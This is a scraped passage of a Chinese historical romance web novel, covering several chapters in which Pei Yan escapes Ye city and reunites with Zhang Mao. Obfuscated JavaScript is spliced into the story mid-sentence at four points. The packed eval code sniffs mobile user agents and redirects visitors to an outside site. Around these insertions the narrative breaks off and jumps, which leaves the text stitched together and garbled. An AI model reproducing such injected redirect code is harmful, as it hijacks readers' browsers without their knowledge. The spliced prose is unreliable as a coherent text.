孟观到得铜雀台时,堂上正乱着。就见东海王世子脸色铁青的坐在下首,上首成都王脸上亦不好看。一旁还有拿帕子不停抹泪的王妃乐氏——大王子将将满周岁,是她的命根子。可居然莫名其妙地被人给掳走了。还有那裴家元娘,竟也一同被掳。她心痛欲死,还诉苦无门,说不得,是她治家无方,连门户都守不好! “王妃有身孕,快别哭了,莫伤了身子!”孟玖趋步到乐妃身边,一边递手巾,一边劝道。眼神却是看向成都王。 成都王本就被乐妃哭得心烦,如今被他提醒,赶紧对乐氏道:“阿普出事,我与你一样着急。只是哭有什么用?我们请孟将军前来就是要参详救人的。你且去后面照拂母亲,万不可再露哀容,母亲受惊过度,还不知晓阿普的事。” 乐妃见孟观入内,知他们要部署救援,不敢耽搁,赶紧退下。 成都王于是请孟观入座,三人商议起这事来。 孟观道:“听闻大王子与元娘皆在内室被掳?府上有长史被杀?” 成都王脸色一暗。这是说有家贼里应外合了! “近日刘渊异动频仍,某观其行事,意在上谷。邺城与上谷互成犄角,怕不是受池鱼之殃?” 成都王点头。他也疑心是胡人所为。 司马毗却道:“我在元娘窗外曾安排亲卫,却被轻易迷晕。” 他身边的部曲递上一方巴掌大的粗布巾帕。司马毗举起帕子,道:“其上染有迷药。能近身作战,而不被发现,可见贼人必在府中潜伏多时。胡人长相异于汉人,如何能瞒天过海,避人耳目?” 孟观挑眉:“世子的意思,主谋另有他人?” 司马毗握拳不语。他怀疑是张茂所为。可这话,他如何能在司马颖和孟观面前说得?自己的女人被情敌抢走,还捎带上了成都王的儿子,他还要脸不要? 此时,有部曲上来禀报,道在城北发现贼寇踪迹。 成都王赶紧命公师藩点兵去救人。 孟观趁机道:“某从宛城亦带来十数重甲护卫,皆是宿卫军中好手,可随将军同去。” 成都王点头。这个时候,他恨不能调集天下兵马,谁还嫌人多? 于是孟观匆匆离席,下去布置。 司马毗却跟了上去,借口道:“小王素来仰慕将军,可惜一直未能当面。今日可有幸讨教一二?” 孟观从容一笑,道:“敢不从命!” 于是他大方地延请司马毗来客室闲坐。自己则让童子吩咐从人去后衙马场寻公师藩,将重甲之士一应交付。而后,亲自烹茶,与司马毗叙话,谈得兴起,还带他入内室,挑了几本有批注的兵书与他带回。 待司马毗出了客室,两个部曲迅速围上来,朝他摇了摇头。司马毗转身看向孟观的住处,微微蹙眉,莫非是他想多了? 孟观曾是贾后心腹,因此与成都王谈不上多亲厚。此次贾后伏诛,孟观因领兵在外,未被清算。赵王为拉拢他,还进他为安南将军,许他驻兵宛城,又让他都督河北诸军事,以牵制北面的成都王。 是以,这次司马毗大婚,成都王也礼节性地向他发了请柬,本以为他不会来,没想到孟观却早早就赶到了邺城。这让成都王和司马毗都很意外。只是不知这背后,究竟是赵王授意,还是他另有打算。 “其间可有他人进出?” “偌大院子小人都找过,并无他人。孟将军只有一个童子贴身侍奉。”那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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容秋眼中也是泪意涟涟,拍着她一身亮甲的后背,温声安抚:“好了,元娘不怕,都过去了,我们逃出来了啊!” 裴妍只抱着她不语。在她心里,见到容秋就好似见到了家人。 此时,半夏和从人们陆续也赶了上来。看到裴妍与容秋紧紧抱在一起,不免有些吃味地摸摸鼻子。话说,这段日子,她伺候得也不差吧? “容秋,二郎呢?”半夏下得马来,看她身后只有一个眼生的小郎,却不见自家二郎。 “这是听雨。”容秋介绍道,“二郎还在赶来的路上。他命我等三日后在陈留汇合。” 听雨见到裴妍,恭敬地趋步上来拜见。裴妍朝他颔首致意,并未多话。 听雨又殷勤地与半夏打招呼。他加入张家亲卫的时间不长,许多老人他都不认得。是以他虽已是队副,在半夏面前岂敢托大,亲热地唤她“阿姊”,倒把半夏弄得不好意思起来。“叫我名字就行,你是队副,我们还得听你的哩!” 听雨直呼不敢。 容秋打量裴妍的铠甲,一边把她往屋里拽,一边心疼地道:“很重吧?赶紧脱掉。” 半夏捡起裴妍扔在脚边的头盔,随他们入得院子。她心疼地拍拍上面的灰,眼见着落地时,一侧铁皮凹陷了一块,在后面回话道:“这是大郎君特意从大娘那里借来的。当年大娘羡慕重甲威仪,闹着郎主给他打上一件。郎主怕她穿不动,特意命匠人量身定制的样子货。别看它外面光不溜秋的,实则里面就一层铁皮。后来大娘出嫁,这身‘重甲’也跟着陪嫁去了唐家。” 原来这竟是张茂的大姐——张瑗的陪嫁!裴妍赶紧慎重起来,低头检查有没有哪里磕了碰了,这可是大姑子的心爱之物,她还得还回去哪!她有些后悔地接过头盔,方才怎么一激动就把它扔了呢! 半夏却笑道:“元娘尽可放心,我家大娘最是大方利落,逃命途中哪能没有磕碰,她不会放在心上的!” 半夏的姑母是张家大娘的乳媪,因此对张大娘的喜好比较熟。 容秋白她一眼,斥道:“不早说!” 半夏亦不甘示弱:“你上来就抱着元娘哭,我倒是有空插嘴?” “你就是故意吓我们元娘!” “我又不是你,小家子气!” …… 听雨扶额,得,看来这二位早在张家便不对付,这一路,可有的闹了! 75. 千回万转入情海,旦夕念念不忍舍…… 半夏与容秋吵归吵,手上的活计却没有停。 听雨被她们赶到门外。 裴妍的铠甲终于卸了下来。夏日炎热,这身轻甲虽不重,但毕竟是铁皮制成,包裹在身上,浑身都不透气。裴妍此刻只想赶紧沐浴一番,把身上这份酸臭的汗味给洗了。 于是容秋让半夏去打水。半夏反呛她:“你怎么不去?” “我要伺候元娘更衣。” “合着你是干精细活的,我只能当粗使丫头?你问问元娘,成都王府这些天,谁给调的香?” “会调香了不起啊?你会挽发么?会上妆么?知道什么衣裳配什么鞋吗?” 裴妍被她俩吵得头疼。“你们且歇会,我自己去!” 半夏和容秋这才勉强停战,又抢着去提水——哪能让元娘一身汗湿的去外面呢?二郎知道不得打死她们…… 裴妍一边沐浴一边梳理今天的事。 她到孟观后院略休息了会,半夏就让她换上了张大娘的盔甲,没过多久,就跟着公师将军堂而皇之地出了王府。到北郊后,公师藩让他们四人一组,分散找人。半夏趁机拉着裴妍及另两个护卫自北郊绕道而西,逃了出来。至于队里少了他们几个,自有事先埋伏在那的四个重甲卫补上——反正重甲之士遮面覆颈,谁也认不出谁。 而那位刚过周岁的大王子,如今大概在哪个荒村的地窖里酣睡呢!待他们逃得远些,自有人提供线索,引着成都王的亲卫去寻。听说张茂还私下驱逐了几个胡人流寇于左近——现成的替死鬼。 裴妍没读过兵书,故而不知这看似顺遂的一路用了多少智计:声东击西,调虎离山,浑水摸鱼,暗度陈仓,瞒天过海,金蝉脱壳,祸水东引,走为上…… 她只知道,张家兄弟并孟将军不愧是带兵之人,虚虚实实,将兵家的疑兵之策用到极致。 只是,她将脸陷在氤氲的水汽里,热腾腾的雾气染糊了眉眼。她第一次觉得,自己对这些身边的人,欠缺了解与敬畏。 平心而论,易地而处,她没有这样的能耐,可以在四面楚歌时突围而出。 可是张茂可以,还有张大郎和孟将军,他们甚至不用当面,便可各自为阵,互相配合,将一个看似漏洞百出的计策安排得天衣无缝。 裴妍以手覆面,心内五味杂陈。张茂、司马毗与她不是同龄人吗?当初在一处学习交游时,她怎么也没料到会有今日。 她想起司马毗说的“你当这些年我是怎么过来的?”——她在乡下逍遥又无聊的那几年,张茂在苦研兵法,司马毗为经济东奔西走。他们在应该成长的年岁里吃了该吃的苦,早早窥得世间法则,或得权,或得势。 独独她,被叔父护着,阿母疼着,高高地躺在无忧无虑的神坛上,自以为是地做着快活的神仙。于是家门一倒,她迅速由神坛跌落供桌,成为他们挣来抢去的祭品! 她秀色可餐,倒是满足了他们的英雄气,可她自己呢?犹如提线傀儡,连说不的权利都没有。 裴妍一拍水面,憋屈! 可这怪谁呢?还不是自己不争气!她想起阿母说自己的,“除了这身皮囊还有什么?” 她不禁有些泄气,可转念又开解起自己来。当初赵王围府,她差点以为全家都要死了。如今母亲她们都还好好地活着,自己也全须全尾地坐在这里,最难的时候都挺过来了,还有什么好怕的? 正想事儿,容秋却急着扣门——此地不宜久留,夜间还要赶路。 裴妍赶紧出来,然而她的一头长发湿漉漉的,怎么擦都散着水。容秋只好拿发带将她的长发挽于脑后,草草梳了一个楚髽发,又赶紧给她换上事先备好的劲装。 裴妍活动活动手脚,这身衣服轻便灵活,比刚才闷在铠甲里舒服多了。她想到自己之前的那身铠甲还是样子货,而那些真正的重甲卫却要套着几十斤的甲胄冲锋陷阵,可想是怎样的艰辛,这么一对比,似乎赶夜路的辛苦便也不值一提。尽管她的头发湿漉漉地贴在颈项间,尽管她的大腿根部被马鞍磨得生疼,她依然一声不吭地跟在半夏和容秋身后。 半夏对容秋道:“看不出来,你家元娘还挺能吃苦的!” 容秋却心疼得要死,白了她一眼,道:“出了邺城就赶紧停下来休整,这么赶路是想累死我们么!” 半夏却道:“公师藩阴狠狡诈,那东海王世子也是个有城府的。不离他们远点如何放心?”心里却也担忧元娘的身子,是以赶了一夜的路后,甫到荡阴,就找了个庄子,借宿到一户农户家中。 然而,她们到底还是高估了裴妍。她这些年被娇养在深闺。虽勤于骑射,可哪里赶过这么长的路?何况昨夜她湿着头发骑马,北方的夏夜还是有些凉的。这不,刚下马,裴妍就觉得头重脚轻,身上一阵冷一阵热的。 容秋一抚她的脑门,皱眉道:“不好!起热了!” 最急的便是听雨。他本指着这次营救有功,能升个一官半职呢!怎么元娘就病了?这要是有个三长两短,他怎么跟二郎交代? 半夏也很着急,赶路最怕生病,何况这里穷乡僻壤的,后面还有追兵,她们上哪给裴元娘请大夫? 还好容秋这几年跟着皇甫神医学了些药理。她让半夏清理出一方干净的榻来,让裴妍躺着。再吩咐听雨烧热水,姜是随身带的,正好煮上。又让半夏每隔半个时辰给裴妍拿热毛巾擦拭身体。自己则去离村子不远的一处林子里采药——夏天正是草木生发的时候,之前在路边她还看到过防风草。 仲夏时分,晨起草木的叶子上犹挂着露珠,到处湿漉漉的。容秋一夜未睡,可她强打起精神,不厌其烦地拿棍子敲打着地面,一面赶蛇,一面挑拣药草。庆幸的是,她不仅采到了防风,还发现了几株羌活和麻黄。她心内一喜,这可都是祛风散寒的好药! 她正要归去,突然,似乎察觉了什么,赶紧俯身隐于一株柏树后。 不多久,一队精壮的甲士快马自她身边经过。她一眼认出打头的人,初时大惊,继而,忍不住喜极而泣…… 裴妍自下了马,就迷迷糊糊的。她感觉自己被扶着躺卧到一张榻上,嘴里灌了几口热辣的姜茶,可是头依然昏沉沉的,浑身被碾压过似的。她察觉有人拿热毛巾与她擦拭身体,她终于舒服了些,连夜的赶路本就让她疲惫不堪,困意趁势来袭,她沉沉睡了过去。 不知过了多久,裴妍感觉又有人拿热毛巾与自己擦脸。只是这回手法笨拙很多,毛巾也只行到脖颈处,便停住了。 她不舒服地动了动:“容秋,我身上也热。” 那只为她拭汗的手顿了顿,终是撩起盖在她身上的披风,小心翼翼地,帮她擦拭着胳膊和脚心。 毛巾所过之处,带着热水浸过后的清凉,她忍不住呢喃:“腿上也要!” 身边的人似是吸了口气。裴妍尤不自觉的将一双长腿伸到了外面。那拭汗的手于是更轻了,窸窸窣窣的,好像没长眼似的。 “痒!”她抱怨。 “一会就好!”头顶传来熟悉的男声。 “阿茂!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205987|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴妍混沌的脑壳似被重锤一敲,瞬间清醒大半!她拼力挣扎着,终于艰难地睁开眼——室外骄阳正艳,热辣的天光自半透的破窗倾泻而入。她在一阵晃眼后,上方那道模糊的身影终于渐渐清晰,竟真的是他! 只见他拿发带蒙眼,手上尤攥着帕子,床边是一个破旧的瓦盆,盆里的热水犹自冒着热气。 方才,竟是他给自己擦的身子!裴妍脸上腾起一股热意,浑身发燥,说不上来是烧的还是羞的。 “你怎么来了?不是说明日才将将能赶到陈留吗?” “怨我实在太过想你!”张茂素纱未摘,莞尔,“你可知这一路我跑死了八匹马!” 裴妍没有说话,她的目光自他的脸上、身上一一掠过。似为印证他的话似的,她看到他眼下肉眼可见的青黑。他尚未蓄须,下颚却长出了一层青黑的胡茬。鬓角乱糟糟的,上面蒙着一层层厚厚的灰,头发里似乎还夹杂着几缕干草和鸟粪。身上的衣服也灰蒙蒙的,大腿处的裤子还磨出了几个破洞。天知道,他这一路有没有睡过觉!而这一身的风尘仆仆,只为了能早点遇上她! 张茂摸索着,把巾帕放到身边的瓦盆里浸透,一边促狭地对面前的人道:“还要吗?” 裴妍却依然没有应他。她深深地望向他,贪婪地从他的眉眼到他的身体,细查分别以来,他的每一处变化——他的肩膀更宽了,背也更厚了,眼角多了不少细纹。许是在凉州主事久了,他光是坐在那,便让人觉得金刀立马,昂藏凛然——这样的气度,她曾在叔父身上看到过。非是刻意为之,实是上位者处事日久后积起的威压。 张茂微微侧了头,见裴妍迟迟没有应声,这才觉出不对来。 他微微蹙眉,似带着疑惑,摸索着拿披风将裴妍裹住,而后,解下了自己的发带。 于是,张茂便对上了一双盈盈妙目——那是他日思夜想的眸子。多少次生死搏杀的前夜,他枕戈待旦,夜不能寐,便在冰凉的营帐里,拿手,虚空地描摹她的眉眼。裴妍或许不知,他比她自己还要熟悉她的一颦一笑,一怒一嗔。她任何细微的表情变换,都足以搅动他自持的道心。 就像如今,他看着面前的裴妍,直觉她望向自己的目光有了很大不同。她的眸中褪去了往日的青涩,清凌凌得带着冰川化水前的冷硬倔强,又多了分静水流深的探究与沉静。这样似喜似怨,似哀似愁的情愫,他从未在从前的裴妍那里见过。 从前的裴妍?此刻怕早已扑到他的怀里,一把眼泪一把鼻涕地诉说着这两个月的遭遇了。 张茂心下一沉,初见裴妍的喜悦被敏锐的不安代替。既而,是更加愧疚的心痛——这段日子,朝堂天翻地覆,她一朝家门落败,至亲离散,她自己也被司马毗那厮公然掳掠。然而这段最痛苦的日子,他却没能陪在她的身边。如今再见面,当初那个无畏天地、爱憎分明的女子,突然像被换了芯子似的,看着他的目光,浓情带着疏离,信任带着探究,想接近他,却又拒他于千里之外——她这是,遭了多少罪?才生生将自己,寸寸碾碎,逼着自己脱胎换骨,重组血肉? “阿妍,是我不好。让你受苦了!”他听到自己说。 裴妍却摇头。“让我受苦的不是你,是赵王。冤有头,债有主。不是你的错,为什么要认呢?” 张茂一噎,他似乎还不太适应这样的裴妍。 “还是说,你家对我阿叔,有什么做的不对的地方?要我这个做侄女的,代他讨债?” 她话中有话,小心翼翼地试探着他。 76. 相思一夜情多少,地角天涯未是长…… 提及司马毗,张茂眼风一凛,心底的醋意与愠怒如同惊涛骇浪,一下一下,撕扯拍打着他的心。 初初听说裴妍被掳时,他正行到长安附近。一处茶社外,南来北往的客商都在议论这事。不乏好事缺德者,编排起裴妍与司马毗的桃色段子,竟引得众人口水涟涟。他当即手起刀落,斩断那混账的发冠。若不是手下拦着,他恨不能屠尽这帮庸蠹! 他将帕子扔回瓦盆里,趁机按捺住那股毁天灭地的戾气,怕吓着眼前人。 “阿妍,将士的命也是命。于军士而言,马革裹尸是荣耀,死在萧墙之内是屈辱。” 他知道裴妍执拗,这件事若不能与她说明白,她会一辈子过不去。不,以她决绝的性子,他们有没有一辈子还不好说,只得耐着性子与她分析。 “我阿耶明哲保身,为家门计也好,为他手下的军士也罢,你要怨他,我无从置喙。我家早年受郡公大恩,起势后,却没能护他一命,这是我们欠你阿叔的,张家得认!然而,你说了那么多假设,却独独漏了最初的一点,假使皇后不杀太子,不管宿卫军回不回京,后面的事都不会发生!” 见裴妍没有反驳,张茂将她的披风紧了紧,苦笑道:“我和阿耶不是神仙。我们谁都没能料到,皇后会愚蠢至此!” 毕竟那时张华和裴頠尚在,他们都以为,有两位老成谋国的大人在,总能拦住皇后行悖逆事。其实,只要太子不死,哪怕只是被废,各路诸侯都不敢轻举妄动。可谁能想到,彼时皇后已被赵王捧杀得迷了心智,竟自掘坟墓呢? 裴妍低下头,水蒙蒙的眸子动了动。她知道,她都知道! 这一切错漏的根源,是贾后自私狭隘,毒杀太子,自毁长城。其他人,赵王也好,东海王也罢,不过是趁势而为罢了!而孟观和张家,充其量只是在阴错阳差间,给赵王提供了一个登云梯而已。 她家成也贾后,败也贾后。她有什么立场,去指责不在漩涡中心的他们? 张茂觑着裴妍的脸色,见她时而沉思蹙眉,时而懊悔难当,时而不知所措,时而饮恨含泪。他知道她在复盘这段时日发生的事,而这段经历于她而言不啻于再经一轮酷刑。一时间很是心疼。 “饿不饿?听半夏说,你们昨晚赶了一宿的路。早上你又伤风,到现在水米未进。” 张茂适时转移话题。 裴妍摇头,刚想说句不饿,结果肚子却抗议似的,发出一连串咕噜噜的叫声。 她瞬间红了脸——倒不单单是为吃的。 外面日头正盛,屋里更是闷热难当。裴妍因着发汗,内里仅着一件小衣,堪堪遮住要害。如今虽有披风裹身,但夏日的披风本就不长,遮头不遮尾,一对笔直修长的小腿和圆润小巧的脚丫尚且裸露在外。 她有些窘迫地将腿脚往披风下缩了缩,嗔道:“非礼勿视。你快出去,唤容秋来!” 张茂不禁有些好笑:“方才是谁闹着要我擦洗来着?”见裴妍羞得缩成了鹌鹑,也不为难他,从善如流地出了门。 裴妍怔怔地望着他离去的背影,心里有些空落落的。 不多久,容秋就端着一碗清粥并一碟生拌的胡瓜入得门来,手臂上还挂着一套干净的衣衫。 她殷勤地将粥碗递与元娘,自己双手捧着胡瓜方便她夹菜。她有些小心翼翼地与她打招呼:“我和半夏实在是困得受不住,这才请二郎换着守了会。元娘可会怪我?” 裴妍本是怪她的。她在这里最信任的人就是容秋。她怎么能把她一个人扔下,任张茂直闯她的屋子呢? 然而,经容秋这么一说,她才想起,容秋和她一样,也是一夜未眠啊!她还能在榻上休息半日,而容秋却还得强撑着困意照顾自己。一时间,她刚聚起的怒意瞬间消散,取而代之的是深深的愧疚。 “怎么会怪你呢?若不是你及时将消息传给张家,我如今还被困在邺城出不来呢!” 容秋摇头:“是我护卫不利,才让元娘被掳。” “快别这么说,”裴妍道,“谁也没想到司马毗会胡乱行事。” 说到司马毗,裴妍心下一抖。她想起签婚书那日,他信誓旦旦地与她说,“一餐之德,睚眦之怨,无不报复!” 司马家的诸侯啊,素来睚眦必报,都是疯子! 裴妍咬牙,压下心底的战栗,安慰自己说,没事了,她已经逃出来了,张茂不会让他得逞的……全然忘了方才,她还疾言厉色地要与张家算总账呢! 与此同时,院外。 听雨觑着张茂的脸色,低声与他汇报孟观连夜送来的消息。 依着计划,公师藩被引着找到了大王子,成都王虚惊一场,已收回大半兵力。虽也派人继续寻找裴妍,却不像之前那么上心,只是虚应差事,做给司马毗看罢了。 至于司马毗,他冒天下之大不韪公然抢亲。甚至为了斩断裴妍的后路,特意将此事宣扬出去。然而好事未成,新妇却跑了,这么丢人的事,岂可对外人道? 就连三日后的婚礼都没有取消。孟观在信中说,乐妃新认下陆机之长女为义妹,怕不是要行李代桃僵之事。 张茂皱眉,司马毗为得到裴妍,可谓不择手段,连毁人名节的事也做得出,行事颇有几分阴损。 陆家是江左豪族,在京城却无甚根基。若让陆机之女顶着裴妍的名头入门,回头赏陆氏一个侧妃的名头,于陆家和司马毗皆得便宜。 婚书在前,裴妍若不认,便又平添一段风流事,名声只会更坏。 张茂想起茶楼里那些看客谈论起裴妍时那垂涎欲滴的猥琐样,不禁铁拳紧握——不能让司马毗得逞! 他瞥向听雨:“齐王那里,信可送到?” 听雨摩拳擦掌:“是!” 张茂点头,右手轻抚挂在革带下的香囊,嘴角微勾,眼里划过一抹厉色。 很快,司马毗便无暇他顾了! 裴妍吃过热粥,身上又发了汗,自觉轻省许多。等她更衣出来,发现张茂正负手立于门前。 他显然也休整过。下颌的胡茬剃了,鬓角也修了,头上那些可疑的灰啊鸟粪啊,被抹了个干净。除去唇角被烈风吹干的唇皮,粗粗看去,剑眉星眸,丰神俊朗,他又恢复了往日的冠玉之姿。 “好些了?”他笑问。 “嗯。”裴妍应了一声,想起方才自己对着张家不依不饶的质问,以及衣冠不整的样子,又有些羞躁地撇过头去。 张茂偏爱她的羞涩,逗她:“不把我当仇人了?” “我就是再不敏,谁是罪魁祸首还是分得清的!”裴妍哼道。 张茂浅笑摇头,不再逗她。 她看了一眼天色,见来接应的部曲除去院外轮流值守的,余者都三三两两靠坐在篱笆桩子下小憩,有的甚至还仰头打起了呼噜。 千里奔袭,任再骁勇的悍将都得歇上一歇。 “半夏呢?让她去我的榻上躺躺,容秋已经睡过去了。” 张茂摇头,“许是窝在哪里打盹了。” “你呢?不休息会?”裴妍见他眼下青黑,也不知这一路睡过觉没? “本是困的,看到你之后,只觉欣喜,哪里还合得上眼。”张茂莞尔。他笑起来的时候,长眉微挑,洒脱中带着一丝风流。让人恨不起来。 他侧头看坍圮的土墙一角还算干净,对裴妍道:“陪我坐会可好?” 裴妍看着他饱含疲惫却依然亮如星子的眼睛,略略点头。 天光正盛,但他们坐的位置背阴,偶有夏风吹来,还算惬意。 于是他俩如乡野的村夫村妇一般,倚着矮墙,席地而坐。 目之所及皆是荒凉。二人静静地望着面前破败的院子——黄土覆地,墙角扎起的篱笆早已残破不堪,本来养鸡的鸡塒草窝,已空空如也。而他们身后,只有三间土坯搭成的茅屋,两侧屋顶已经坍了小半,只将将一间正堂可以容人。 “屋主曾是里正。”张茂望着空落落的场院,和远处荒芜的田地,低声道。 裴妍惊愕。里正的房子已经是村里最体面的,尚且如此破旧。可想而知,其他村人的日子,该多艰难。 他们行了一路,看了一路,沿途村落可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229306|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说十室九空。偶有人气,也不过三两老妇稚儿——各路诸侯都在抓壮丁,甚至连年轻的女子都不放过,碰上了,照样抓进营地里,或浆洗,或泄欲。听闻北地还有胡人拿女人和孩子当军粮的,名曰“两脚羊”,竟公然吃起人肉来! 这世道,比之几年前,越发不如了! 贾后倒台,坍圮的绝不止她家!大厦将倾,压死一片的,往往是地上的蝼蚁! 她忽而想起当年在郭家阿公的寿辰上,她和张茂在客院的假山顶上闲坐乘凉。彼时岁月静好,似乎那只团扇扑不尽的蚊蝇便是最大的清愁。 而今再看,仲夏未变,金乌依旧,而她,从当初的所见皆锦绣,到如今的满目皆疮痍,不过转瞬。 可她依然是幸运的。在这人吃人的世间,她从没有愁过吃穿,到哪都有人惦念照顾。和这方连活路都没有的生民相比,她那些浅淡的爱恨可以说都是无病呻吟! “阿茂,与我说说凉州吧!”她想知道,在那片她从未涉足的地方,在张家的治下,世道会不会不一样? 果然,提起凉州,张茂眼中似耘了缕缕春风,一扫方才的沉郁。 “凉州很大,你想听什么呢?” “什么都想听!” “凉州早晚很凉,但午时很热,南面祁连山下多雨,而往西往北则愈旱。那里胡汉混杂,既有你我这样的汉人,也有半夏这样的匈奴人……” “半夏是匈奴人?”裴妍惊讶地瞪大眼睛。从前她只是觉得半夏骨架比一般的汉人女子宽大,鼻梁略高了些,眼窝也更深些,却从没想过她是匈奴人! 张茂好笑道:“她父亲是匈奴人,母亲是汉人。这有什么,在凉州,除了匈奴,还有鲜卑、羯、氐、羌甚至月氏人,大家住在一处,彼此通婚,胡汉血统混杂的人有很多……” “哦!”裴妍点头,倒是她孤陋寡闻了。毕竟在中原,胡汉之间,很少见到通婚的。 “那你们还和他们打仗?” “无法啊!”张茂摇头,“你没有见识过北地严寒,牲畜一死便是一片。胡人多游牧为生,牛羊死了,他们无以为继。眼光就投向了南面的汉人。凉州水草丰茂之处皆在我们汉人手里。我们又擅于水利、耕织,还有屯粮的习惯。这个时候,你是胡人,会怎么做?” 裴妍嘴角动了动,一个“抢”字到底没说出口。 “这么说来,他们抢我们竟是无奈?我们挡他们,也是无奈?” 张茂没有说话,只是长长地叹了口气。他将头靠在身后的土墙上,回想起前不久的一场战事来。 彼时,他阿耶被流寇刺杀,重伤在床。秃发鲜卑的一支趁势来袭。 他自己领两百征西军精骑夤夜奔袭,于阵后烧毁敌军粮草,又出言挑衅对方主将,将他们引至事先定好的包围圈,与阴充和氾瑗的左右军合力包抄,一举屠灭敌军千人有余。 为震慑四野,他甚至,建了京观。拿马粪与黄土将一具具死去的敌尸,垒土成观。 然而,当身边人搬运一具胡人尸体时,一页巴掌大的桦树皮纸从他破碎的衣襟里漏出,落到张茂脚边。 鬼使神差地,张茂将它捡起,见上面是一幅运笔粗糙的小像,隐约能看出,那是一个抱着羊崽的孩童。原来这是位父亲,他心里想。 不知怎的,他的心跟着一酸,本想吩咐手下,把这个人就地葬了吧。 可是抬头,便见到密密麻麻的堆了丈余高的尸塔,话到嘴边,终是噎了回去——这些人里,谁不是父亲、丈夫、儿子? 他可以赦免一个,却不能赦免一众。他阿耶病危,他只能以杀止战。不然,死的便是他们! 张茂摊开满是厚茧的手掌。少年时,裴妍曾好奇地问他有没有杀过人。杀人么,自他十岁从军起,便每天都在经历。实在没什么可拿来说的。如今当了统帅,更是看淡生死。 然而,在看到那张桦树皮时,他却憎恨起自己,也恨起这个世道来。 他看向裴妍,眼里带着淡淡的悲凉。他们将来也会有子嗣。不知孩子们可会愿意来到这狰狞的世间? 77. 翘思明月慕远人,愿欲南风托佳音…… “你怎么了?”裴妍觉得张茂看她的眼神沉甸甸的,里面似乎还带着一丝不忍。 “我们将来,最好生女儿。”张茂没头没尾地来了一句。 “为何?” “至少不用上战场。在家里男人死绝前,我们会将她们护得好好的。” “呵!那你最好还是请定春和容秋教她们一些拳脚功夫傍身。与其等男人来保护,不如她们自己护着自己。最起码,家门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231234|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倾覆的时候,不至于被掳走。” 提到这事,俩人都沉默了。 良久,裴妍似鼓起勇气,又似漫不经心地问他:“我被司马毗掳走那么久,你……就不怕我……被他……” 78. 君意悠悠似水流,人心惴惴若云浮…… 张茂无声地瞟了二女一眼,再回头,望向裴妍的眸子既震惊,又饱含欣喜,还有些心疼。 他没想到裴妍能想得这么细、这么远,不禁对她刮目相看起来——从前的她,有时连自己院子里的庶务都懒得打理,哪里会过问这些?不禁再次慨叹:“阿妍,这段日子受苦了!” 裴妍却摇头:“我吃得饱穿得暖,哪里就苦了?” 跟这一路遇见的黎庶相比,她不过是从高一点的云头跌落到了低一点的云头而已。她毕竟还是世家贵女,有一堆人护着捧着,还有什么不知足的? 张茂抬手怜爱地抚了抚她的脸颊,沉吟了会,对裴妍道:“你若要现成的女武师,张家约摸能聚起七八个。再多,就得耗时慢慢培养了。” “七八个哪?”裴妍的桃花眸子再度亮了起来,张茂刚开始说女部曲不多时,她原以为只有两三个呢! 裴妍忍不住拉着张茂的胳膊摇了摇,喜笑颜开:“真好!够组一个小队啦!” 万事开头难。此前家里能用得上的只有定春和容秋,现在加上半夏。很快,她身边又能多出七八个武力超群的女子。她蹙眉想了想,即便那日司马毗强掳她的事重来一次,有了这十来个女中骁将护卫,多少也能挡上一挡! “想好谁做队正么?” “呜”,裴妍挠挠头发,“容秋要跟在我身边,调教人的事恐怕力有不逮。定春也是。还是交给半夏吧!她人高马大的,唬得住人!” 张茂点了点她娇俏的鼻头,故作生气:“半夏可是细作行的好手,你问都不问我一声,就这么挖了过去,我一时半会地上哪找人顶她?好没良心!” 裴妍才不怕他,右手拇指与食指在他的胳膊上合力一拧:“你敢不给?” “给给给……”张茂嘶地一声,捂住胳膊,剑眉微蹙,佯装很疼。裴妍难得见他露出滑稽的模样,好笑地与他揉了揉。张茂干脆把她的一只小手捉到自己的手心里,轻轻一拽,连带着裴妍整个人,都跌入他的怀抱。 这一幕恰巧被转身探看动静的半夏瞧见,她立即羞得转回头去,余光却瞥见容秋与听雨正头靠头地坐在一处谈笑风生。 “嗨呀!一个个的!”半夏只觉浑身发燥,面红耳赤地仰倒在地,“烦死了!” 裴妍却顺势窝在张茂怀里,轻轻吐出一口气来。眸中的娇憨之色渐渐褪去,一抹凉意爬上眼角——她其实有点鄙夷如今的自己。 她忽而想起那年在闻喜,雷家表妹勾搭王导时的样子,那一颦一笑,一怒一嗔,与如今的自己有何不同?只不过雷表妹求的是名分,而她,求的是自保。 